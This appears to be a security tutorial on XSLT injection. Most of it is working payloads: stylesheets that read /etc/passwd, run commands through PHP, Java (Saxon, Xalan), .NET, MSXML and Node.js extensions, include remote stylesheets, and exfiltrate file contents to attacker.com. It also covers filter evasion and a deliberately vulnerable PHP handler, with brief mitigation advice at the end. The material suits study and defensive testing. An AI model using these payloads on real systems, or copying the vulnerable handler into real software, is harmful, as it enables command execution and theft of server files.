What is XSLT Injection?
XSLT (Extensible Stylesheet Language Transformations) injection occurs when an attacker can control or modify XSLT stylesheets that are processed by an application. Since XSLT processors can have powerful capabilities, including file system access and external command execution (in some implementations), this can lead to serious security vulnerabilities.
XSLT Basics
XSLT is used to transform XML documents into other formats (HTML, XML, plain text, etc.):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| <?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>Employee List</h2>
<table>
<xsl:for-each select="employees/employee">
<tr>
<td><xsl:value-of select="name"/></td>
<td><xsl:value-of select="position"/></td>
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
|
XSLT Version Differences
XSLT 1.0
- Limited functionality
- No native file/system access
XSLT 2.0
- Enhanced functionality
- More functions and capabilities
- Still limited system access
XSLT 3.0
- Most powerful
- Extended functionality
- More exploitation potential
Common Attack Vectors
1. Access to External Resources
1
2
3
4
5
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
|
1
2
3
4
5
6
7
8
9
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:text>, </xsl:text>
<xsl:value-of select="system-property('xsl:vendor-url')"/>
<xsl:text>, </xsl:text>
<xsl:value-of select="system-property('xsl:version')"/>
</xsl:template>
</xsl:stylesheet>
|
3. Script Execution (MSXML)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell");
r.Run("cmd.exe /c calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
|
4. PHP Extension Exploitation
1
2
3
4
5
6
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('system','id')"/>
</xsl:template>
</xsl:stylesheet>
|
5. Java Extension Exploitation (Saxon)
1
2
3
4
5
6
7
| <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /c calc')"
xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>
</xsl:stylesheet>
|
6. .NET Extension Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:cs="http://csharp.com/mynamespace">
<msxsl:script language="C#" implements-prefix="cs">
public string execute() {
System.Diagnostics.Process.Start("calc.exe");
return "";
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="cs:execute()"/>
</xsl:template>
</xsl:stylesheet>
|
7. Node.js Extension Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:node="http://nodejskit.com/ns">
<!-- Using node-libxslt -->
<node:script>
const { execSync } = require('child_process');
exports.runCommand = function() {
return execSync('id').toString();
};
</node:script>
<xsl:template match="/">
<xsl:value-of select="node:runCommand()"/>
</xsl:template>
</xsl:stylesheet>
|
XSLT Processor-Specific Attacks
1. Xalan Processor (Java)
1
2
3
4
5
6
7
8
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, 'calc.exe')"/>
<xsl:value-of select="process"/>
</xsl:template>
</xsl:stylesheet>
|
2. libxslt (Used by PHP, Python)
1
2
3
4
5
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
|
3. Saxon
1
2
3
4
5
6
7
8
| <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<!-- If Saxon-PE or Saxon-EE with feature:allow-external-functions is set to true -->
<xsl:variable name="cmd"><![CDATA[/usr/bin/id]]></xsl:variable>
<xsl:variable name="rtObj" select="runtime:getRuntime()"
xmlns:runtime="java.lang.Runtime"/>
<xsl:variable name="process" select="runtime:exec($rtObj, $cmd)"/>
<xsl:value-of select="$process"/>
</xsl:stylesheet>
|
4. Microsoft MSXML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="VBScript" implements-prefix="user">
Function transform()
Set shell = CreateObject("WScript.Shell")
shell.Run "cmd.exe /c calc.exe"
transform = ""
End Function
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:transform()"/>
</xsl:template>
</xsl:stylesheet>
|
Attack Techniques
Remote File Inclusion
1
2
3
4
5
6
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:include href="http://attacker.com/malicious.xsl"/>
<xsl:template match="/">
<!-- Content here -->
</xsl:template>
</xsl:stylesheet>
|
File System Access
1
2
3
4
5
6
7
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:for-each select="collection('file:///var/www/')">
<xsl:value-of select="document-uri(.)"/><br/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
|
Blind XSLT Injection (Data Exfiltration)
1
2
3
4
5
6
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="secret" select="document('/etc/passwd')"/>
<xsl:value-of select="document(concat('http://attacker.com/?data=', encode-for-uri($secret)))"/>
</xsl:template>
</xsl:stylesheet>
|
Recursive Processing
1
2
3
4
5
6
7
8
9
10
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="eval">
<root>
<xsl:value-of select="system-property('xsl:vendor')"/>
</root>
</xsl:variable>
<xsl:apply-templates select="$eval"/>
</xsl:template>
</xsl:stylesheet>
|
Evasion Techniques
Entity Encoding
1
2
3
4
5
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('file:///etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
|
Dynamic Evaluation
1
2
3
4
5
6
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:variable name="path" select="'file:///etc/passwd'"/>
<xsl:template match="/">
<xsl:copy-of select="document($path)"/>
</xsl:template>
</xsl:stylesheet>
|
1
2
3
4
5
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="doc<!--Comment-->ument('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
|
Detection Methods
Testing for XSLT Vulnerability
- Input: Inject a simple XSLT that outputs a unique string ```xml
XSLT_INJECTION_TEST_SUCCESSFUL 1
2
3
4
5
6
7
8
|
2. Input: Check for information disclosure
```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="system-property('xsl:vendor')"/>
</xsl:template>
</xsl:stylesheet>
|
Mitigation Strategies
- Validate any user-supplied XSLT
- Reject stylesheets with suspicious patterns or functions
2. Disable Extension Functions
- For libxslt:
1
2
3
4
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="no" indent="yes"/>
<!-- No extension elements allowed -->
</xsl:stylesheet>
|
- For Java:
1
2
| TransformerFactory factory = TransformerFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
|
3. Sandbox Execution
- Run XSLT transformations in a restricted environment
- Limit resources and permissions
4. Use Allowlisting
- Define a set of allowed XSLT elements and functions
- Reject any stylesheet containing non-whitelisted items
5. Keep Software Updated
- Apply security patches to XSLT processors regularly
Common Vulnerable Libraries & Versions
- libxslt: Versions before 1.1.34 (various CVEs)
- Saxon: Without proper security configuration
- Xalan-J: Without proper security configuration
- MSXML: Various versions with scripting enabled
Real-world Exploitation Examples
PHP + libxslt Exploit
1
2
3
4
5
6
7
8
9
10
11
| <?php
$xml = new DOMDocument();
$xml->loadXML('<root>test</root>');
$xsl = new DOMDocument();
$xsl->loadXML($_POST['xslt']); // User-controlled input!
$proc = new XSLTProcessor();
$proc->importStyleSheet($xsl);
echo $proc->transformToXML($xml);
?>
|
Malicious XSLT:
1
2
3
4
5
6
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('system', 'id')"/>
</xsl:template>
</xsl:stylesheet>
|
Java Example
1
2
3
| TransformerFactory factory = TransformerFactory.newInstance();
Transformer transformer = factory.newTransformer(new StreamSource(userInputXslt));
transformer.transform(new StreamSource(xmlInput), new StreamResult(output));
|
References